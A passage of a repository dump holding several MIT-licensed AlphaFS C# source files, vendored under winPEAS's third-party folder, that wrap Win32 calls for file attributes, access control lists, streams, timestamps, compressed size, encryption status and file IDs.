ERROR_INVALID_PARAMETER: A drive path with a long path prefix : GetFileAttributesTransacted("\\?\C:\", ... dataInitialised = FillAttributeInfoCore(transaction, pathRp, ref attrs, false, true); } var attrIsFolder = IsDirectory(attrs.dwFileAttributes); return dataInitialised == Win32Errors.ERROR_SUCCESS && (isFolder ? attrIsFolder : !attrIsFolder); } catch { return false; } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.FindAllStreamsCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Collections.ObjectModel; using System.Linq; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { [SecurityCritical] internal static long FindAllStreamsCore(KernelTransaction transaction, string pathLp) { var streamSizes = new Collection(); using (var buffer = new SafeGlobalMemoryBufferHandle(Marshal.SizeOf(typeof(NativeMethods.WIN32_FIND_STREAM_DATA)))) using (var safeFindFileHandle = FindFirstStreamNative(transaction, pathLp, buffer)) { if (null != safeFindFileHandle) while (true) { streamSizes.Add(buffer.PtrToStructure(0).StreamSize); var success = NativeMethods.FindNextStreamW(safeFindFileHandle, buffer); var lastError = Marshal.GetLastWin32Error(); if (!success) { if (lastError == Win32Errors.ERROR_HANDLE_EOF) break; NativeError.ThrowException(lastError, pathLp); } } } return streamSizes.Sum(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetAccessControlCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; using System.Security.AccessControl; using Alphaleonis.Win32.Security; using Microsoft.Win32.SafeHandles; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Gets an object for a particular file or directory. /// An object that encapsulates the access control rules for the file or directory described by the parameter. /// /// /// /// Generic type parameter. /// Specifies that is a file or directory. /// The path to a file or directory containing a / object that describes the file's/directory's access control list (ACL) information. /// One (or more) of the values that specifies the type of access control list (ACL) information to receive. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Usage", "CA2202:Do not dispose objects multiple times", Justification = "Disposing is controlled.")] [SecurityCritical] internal static T GetAccessControlCore(bool isFolder, string path, AccessControlSections includeSections, PathFormat pathFormat) { var securityInfo = CreateSecurityInformation(includeSections); // We need the SE_SECURITY_NAME privilege enabled to be able to get the SACL descriptor. // So we enable it here for the remainder of this function. PrivilegeEnabler privilege = null; if ((includeSections & AccessControlSections.Audit) != 0) privilege = new PrivilegeEnabler(Privilege.Security); using (privilege) { IntPtr pSidOwner, pSidGroup, pDacl, pSacl; SafeGlobalMemoryBufferHandle pSecurityDescriptor; var pathLp = Path.GetExtendedLengthPathCore(null, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck); // Get/SetNamedSecurityInfo does not work with a handle but with a path, hence does not honor the privileges. // It magically does since Windows Server 2012 / 8 but not in previous OS versions. var lastError = Security.NativeMethods.GetNamedSecurityInfo(pathLp, SE_OBJECT_TYPE.SE_FILE_OBJECT, securityInfo, out pSidOwner, out pSidGroup, out pDacl, out pSacl, out pSecurityDescriptor); // When GetNamedSecurityInfo() fails with ACCESS_DENIED, try again using GetSecurityInfo(). if (lastError == Win32Errors.ERROR_ACCESS_DENIED) { using (var handle = CreateFileCore(null, false, pathLp, ExtendedFileAttributes.BackupSemantics, null, FileMode.Open, FileSystemRights.Read, FileShare.Read, false, false, PathFormat.LongFullPath)) return GetAccessControlHandleCore(true, isFolder, handle, includeSections, securityInfo); } return GetSecurityDescriptor(lastError, isFolder, pathLp, pSecurityDescriptor); } } internal static T GetAccessControlHandleCore(bool internalCall, bool isFolder, SafeFileHandle handle, AccessControlSections includeSections, SECURITY_INFORMATION securityInfo) { if (!internalCall) securityInfo = CreateSecurityInformation(includeSections); // We need the SE_SECURITY_NAME privilege enabled to be able to get the SACL descriptor. // So we enable it here for the remainder of this function. PrivilegeEnabler privilege = null; if (!internalCall && (includeSections & AccessControlSections.Audit) != 0) privilege = new PrivilegeEnabler(Privilege.Security); using (privilege) { IntPtr pSidOwner, pSidGroup, pDacl, pSacl; SafeGlobalMemoryBufferHandle pSecurityDescriptor; var lastError = Security.NativeMethods.GetSecurityInfo(handle, SE_OBJECT_TYPE.SE_FILE_OBJECT, securityInfo, out pSidOwner, out pSidGroup, out pDacl, out pSacl, out pSecurityDescriptor); return GetSecurityDescriptor(lastError, isFolder, null, pSecurityDescriptor); } } private static SECURITY_INFORMATION CreateSecurityInformation(AccessControlSections includeSections) { var securityInfo = SECURITY_INFORMATION.None; if ((includeSections & AccessControlSections.Access) != 0) securityInfo |= SECURITY_INFORMATION.DACL_SECURITY_INFORMATION; if ((includeSections & AccessControlSections.Audit) != 0) securityInfo |= SECURITY_INFORMATION.SACL_SECURITY_INFORMATION; if ((includeSections & AccessControlSections.Group) != 0) securityInfo |= SECURITY_INFORMATION.GROUP_SECURITY_INFORMATION; if ((includeSections & AccessControlSections.Owner) != 0) securityInfo |= SECURITY_INFORMATION.OWNER_SECURITY_INFORMATION; return securityInfo; } private static T GetSecurityDescriptor(uint lastError, bool isFolder, string path, SafeGlobalMemoryBufferHandle securityDescriptor) { ObjectSecurity objectSecurity; using (securityDescriptor) { if (lastError == Win32Errors.ERROR_FILE_NOT_FOUND || lastError == Win32Errors.ERROR_PATH_NOT_FOUND) lastError = isFolder ? Win32Errors.ERROR_PATH_NOT_FOUND : Win32Errors.ERROR_FILE_NOT_FOUND; // MSDN: GetNamedSecurityInfo() / GetSecurityInfo(): If the function fails, the return value is zero. if (lastError != Win32Errors.ERROR_SUCCESS) NativeError.ThrowException(lastError, !Utils.IsNullOrWhiteSpace(path) ? path : null); if (!NativeMethods.IsValidHandle(securityDescriptor, false)) throw new IOException(Resources.Returned_Invalid_Security_Descriptor); var length = Security.NativeMethods.GetSecurityDescriptorLength(securityDescriptor); // Seems not to work: Method .CopyTo: length > Capacity, so an Exception is thrown. //byte[] managedBuffer = new byte[length]; //pSecurityDescriptor.CopyTo(managedBuffer, 0, (int) length); var managedBuffer = securityDescriptor.ToByteArray(0, (int) length); objectSecurity = isFolder ? (ObjectSecurity) new DirectorySecurity() : new FileSecurity(); objectSecurity.SetSecurityDescriptorBinaryForm(managedBuffer); } return (T) (object) objectSecurity; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetAttributesExCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Gets the or of the specified file or directory. /// The or of the specified file or directory. /// /// /// Generic type parameter. /// The transaction. /// The path to the file or directory. /// Indicates the format of the path parameter(s). /// [SuppressMessage("Microsoft.Interoperability", "CA1404:CallGetLastErrorImmediatelyAfterPInvoke", Justification = "Marshal.GetLastWin32Error() is manipulated.")] [SecurityCritical] internal static T GetAttributesExCore(KernelTransaction transaction, string path, PathFormat pathFormat, bool returnErrorOnNotFound) { if (pathFormat == PathFormat.RelativePath) Path.CheckSupportedPathFormat(path, true, true); var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.CheckInvalidPathChars); var data = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA(); var dataInitialised = FillAttributeInfoCore(transaction, pathLp, ref data, false, returnErrorOnNotFound); if (dataInitialised != Win32Errors.ERROR_SUCCESS) NativeError.ThrowException(dataInitialised, pathLp); return (T) (typeof(T) == typeof(FileAttributes) ? (object) data.dwFileAttributes : data); } /// /// Calls NativeMethods.GetFileAttributesEx to retrieve WIN32_FILE_ATTRIBUTE_DATA. /// Note that classes should use -1 as the uninitialized state for dataInitialized when relying on this method. /// /// No path (null, empty string) checking or normalization is performed. /// . /// . /// [in,out]. /// . /// . /// 0 on success, otherwise a Win32 error code. [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")] [SecurityCritical] internal static int FillAttributeInfoCore(KernelTransaction transaction, string pathLp, ref NativeMethods.WIN32_FILE_ATTRIBUTE_DATA win32AttrData, bool tryAgain, bool returnErrorOnNotFound) { var lastError = (int) Win32Errors.NO_ERROR; #region Try Again // Someone has a handle to the file open, or other error. if (tryAgain) { NativeMethods.WIN32_FIND_DATA win32FindData; using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors)) { var handle = FileSystemInfo.FindFirstFileNative(transaction, pathLp, NativeMethods.FindexInfoLevel, NativeMethods.FINDEX_SEARCH_OPS.SearchNameMatch, NativeMethods.UseLargeCache, out lastError, out win32FindData); if (null == handle) { switch ((uint) lastError) { case Win32Errors.ERROR_INVALID_NAME: case Win32Errors.ERROR_FILE_NOT_FOUND: // On files. case Win32Errors.ERROR_PATH_NOT_FOUND: // On folders. case Win32Errors.ERROR_NOT_READY: // DeviceNotReadyException: Floppy device or network drive not ready. if (!returnErrorOnNotFound) { // Return default value for backward compatibility. lastError = (int) Win32Errors.NO_ERROR; win32AttrData.dwFileAttributes = NativeMethods.InvalidFileAttributes; } break; } return lastError; } } // Copy the attribute information. win32AttrData = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA(win32FindData); } #endregion // Try Again else { using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors)) { if (!(null == transaction || !NativeMethods.IsAtLeastWindowsVista // GetFileAttributesEx() / GetFileAttributesTransacted() // 2013-01-13: MSDN confirms LongPath usage. ? NativeMethods.GetFileAttributesEx(pathLp, NativeMethods.GET_FILEEX_INFO_LEVELS.GetFileExInfoStandard, out win32AttrData) : NativeMethods.GetFileAttributesTransacted(pathLp, NativeMethods.GET_FILEEX_INFO_LEVELS.GetFileExInfoStandard, out win32AttrData, transaction.SafeHandle))) { lastError = Marshal.GetLastWin32Error(); switch ((uint) lastError) { case Win32Errors.ERROR_FILE_NOT_FOUND: // On files. case Win32Errors.ERROR_PATH_NOT_FOUND: // On folders. case Win32Errors.ERROR_NOT_READY: // DeviceNotReadyException: Floppy device or network drive not ready. // In case someone latched onto the file. Take the perf hit only for failure. return FillAttributeInfoCore(transaction, pathLp, ref win32AttrData, true, returnErrorOnNotFound); } if (!returnErrorOnNotFound) { // Return default value for backward compatibility. lastError = (int) Win32Errors.NO_ERROR; win32AttrData.dwFileAttributes = NativeMethods.InvalidFileAttributes; } } } } return lastError; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetChangeTimeCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Microsoft.Win32.SafeHandles; using System; using System.ComponentModel; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Runtime.InteropServices; using System.Security; using System.Security.AccessControl; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Gets the change date and time of the specified file. /// A structure set to the change date and time for the specified file. This value is expressed in local time. /// Use either or , not both. /// /// /// The operating system is older than Windows Vista. /// The transaction. /// An open handle to the file or directory from which to retrieve information. /// Specifies that is a file or directory. /// The file or directory for which to obtain creation date and time information. /// true gets the Coordinated Universal Time (UTC), false gets the local time. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope", Justification = "Disposing is controlled.")] [SecurityCritical] internal static DateTime GetChangeTimeCore(KernelTransaction transaction, SafeFileHandle safeFileHandle, bool isFolder, string path, bool getUtc, PathFormat pathFormat) { if (!NativeMethods.IsAtLeastWindowsVista) throw new PlatformNotSupportedException(new Win32Exception((int) Win32Errors.ERROR_OLD_WIN_VERSION).Message); var callerHandle = null != safeFileHandle; if (!callerHandle) { if (pathFormat != PathFormat.LongFullPath && Utils.IsNullOrWhiteSpace(path)) throw new ArgumentNullException("path"); var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.CheckInvalidPathChars); safeFileHandle = CreateFileCore(transaction, isFolder, pathLp, ExtendedFileAttributes.BackupSemantics, null, FileMode.Open, FileSystemRights.ReadData, FileShare.ReadWrite, true, false, PathFormat.LongFullPath); } try { NativeMethods.IsValidHandle(safeFileHandle); using (var safeBuffer = new SafeGlobalMemoryBufferHandle(IntPtr.Size + Marshal.SizeOf(typeof(NativeMethods.FILE_BASIC_INFO)))) { NativeMethods.FILE_BASIC_INFO fbi; var success = NativeMethods.GetFileInformationByHandleEx_FileBasicInfo(safeFileHandle, NativeMethods.FILE_INFO_BY_HANDLE_CLASS.FILE_BASIC_INFO, out fbi, (uint) safeBuffer.Capacity); var lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError, !Utils.IsNullOrWhiteSpace(path) ? path : null); safeBuffer.StructureToPtr(fbi, true); var changeTime = safeBuffer.PtrToStructure(0).ChangeTime; return getUtc ? DateTime.FromFileTimeUtc(changeTime) : DateTime.FromFileTime(changeTime); } } finally { // Handle is ours, dispose. if (!callerHandle && null != safeFileHandle && !safeFileHandle.IsClosed) safeFileHandle.Close(); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetCompressedSizeCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Retrieves the actual number of bytes of disk storage used to store a /// specified file as part of a transaction. If the file is located on a volume that supports compression and the file is compressed, /// the value obtained is the compressed size of the specified file. If the file is located on a volume that supports sparse files and /// the file is a sparse file, the value obtained is the sparse size of the specified file. /// /// /// The transaction. /// The name of the file. /// Indicates the format of the path parameter(s). /// The actual number of bytes of disk storage used to store the specified file. [SecurityCritical] internal static long GetCompressedSizeCore(KernelTransaction transaction, string path, PathFormat pathFormat) { if (pathFormat != PathFormat.LongFullPath && Utils.IsNullOrWhiteSpace(path)) throw new ArgumentNullException("path"); var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck); uint fileSizeHigh; var fileSizeLow = null == transaction || !NativeMethods.IsAtLeastWindowsVista // GetCompressedFileSize() / GetCompressedFileSizeTransacted() // 2013-01-13: MSDN does not confirm LongPath usage but a Unicode version of this function exists. // 2017-05-30: GetCompressedFileSize() MSDN confirms LongPath usage: Starting with Windows 10, version 1607 ? NativeMethods.GetCompressedFileSize(pathLp, out fileSizeHigh) : NativeMethods.GetCompressedFileSizeTransacted(pathLp, out fileSizeHigh, transaction.SafeHandle); var lastError = Marshal.GetLastWin32Error(); // If the function fails, and lpFileSizeHigh is NULL, the return value is INVALID_FILE_SIZE. if (fileSizeLow == Win32Errors.ERROR_INVALID_FILE_SIZE && fileSizeHigh == 0) NativeError.ThrowException(lastError, pathLp); return NativeMethods.ToLong(fileSizeHigh, fileSizeLow); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetCreationTimeCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Gets the creation date and time, in Coordinated Universal Time (UTC) or local time, of the specified file or directory. /// The transaction. /// The file or directory for which to obtain creation date and time information. /// true gets the Coordinated Universal Time (UTC), false gets the local time. /// Indicates the format of the path parameter(s). /// /// A structure set to the creation date and time for the specified file or directory. /// Depending on this value is expressed in UTC- or local time. /// [SecurityCritical] internal static DateTime GetCreationTimeCore(KernelTransaction transaction, string path, bool returnUtc, PathFormat pathFormat) { var creationTime = GetAttributesExCore(transaction, path, pathFormat, false).ftCreationTime; return returnUtc ? DateTime.FromFileTimeUtc(creationTime) : DateTime.FromFileTime(creationTime); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetEncryptionStatusCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Retrieves the encryption status of the specified file. /// The name of the file. /// Indicates the format of the path parameter(s). /// The of the specified . [SecurityCritical] internal static FileEncryptionStatus GetEncryptionStatusCore(string path, PathFormat pathFormat) { if (pathFormat != PathFormat.LongFullPath && Utils.IsNullOrWhiteSpace(path)) throw new ArgumentNullException("path"); var pathLp = Path.GetExtendedLengthPathCore(null, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck); FileEncryptionStatus status; // FileEncryptionStatus() // 2013-01-13: MSDN does not confirm LongPath usage but a Unicode version of this function exists. if (!NativeMethods.FileEncryptionStatus(pathLp, out status)) NativeError.ThrowException(Marshal.GetLastWin32Error(), pathLp); return status; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetFileIdInfoCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; using System.Runtime.InteropServices; using System.Security; using System.Security.AccessControl; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Gets the unique identifier for a file. The identifier is composed of a 64-bit volume serial number and 128-bit file system entry identifier. /// A instance containing the requested information. /// File IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a file can change over time. /// The transaction. /// Specifies that is a file or directory. /// The path to the file. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static FileIdInfo GetFileIdInfoCore(KernelTransaction transaction, bool isFolder, string path, PathFormat pathFormat) { using (var handle = CreateFileCore(transaction, isFolder, path, ExtendedFileAttributes.BackupSemantics, null, FileMode.Open, FileSystemRights.ReadData, FileShare.ReadWrite, true, false, pathFormat)) { if (NativeMethods.IsAtLeastWindows8) { // ReFS is supported. using (var safeBuffer = new SafeGlobalMemoryBufferHandle(Marshal.SizeOf(typeof(NativeMethods.FILE_ID_INFO)))) { var success = NativeMethods.GetFileInformationByHandleEx(handle, NativeMethods.FILE_INFO_BY_HANDLE_CLASS.FILE_ID_INFO, safeBuffer, (uint) safeBuffer.Capacity); var lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError, isFolder, path); return new FileIdInfo(safeBuffer.PtrToStructure(0)); } } // Only NTFS is supported. return GetFileIdInfo(handle); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetFileInfoByHandleCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; using System.Security; using System.Security.AccessControl; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Retrieves file information for the specified file. /// A object containing the requested information. /// File IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a file can change over time. /// The transaction. /// Specifies that is a file or directory. /// The path to the file. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static ByHandleFileInfo GetFileInfoByHandleCore(KernelTransaction transaction, bool isFolder, string path, PathFormat pathFormat) { using (var handle = CreateFileCore(transaction, isFolder, path, ExtendedFileAttributes.BackupSemantics, null, FileMode.Open, FileSystemRights.ReadData, FileShare.ReadWrite, true, false, pathFormat)) return GetFileInfoByHandle(handle); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetFileSystemEntryInfoCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN 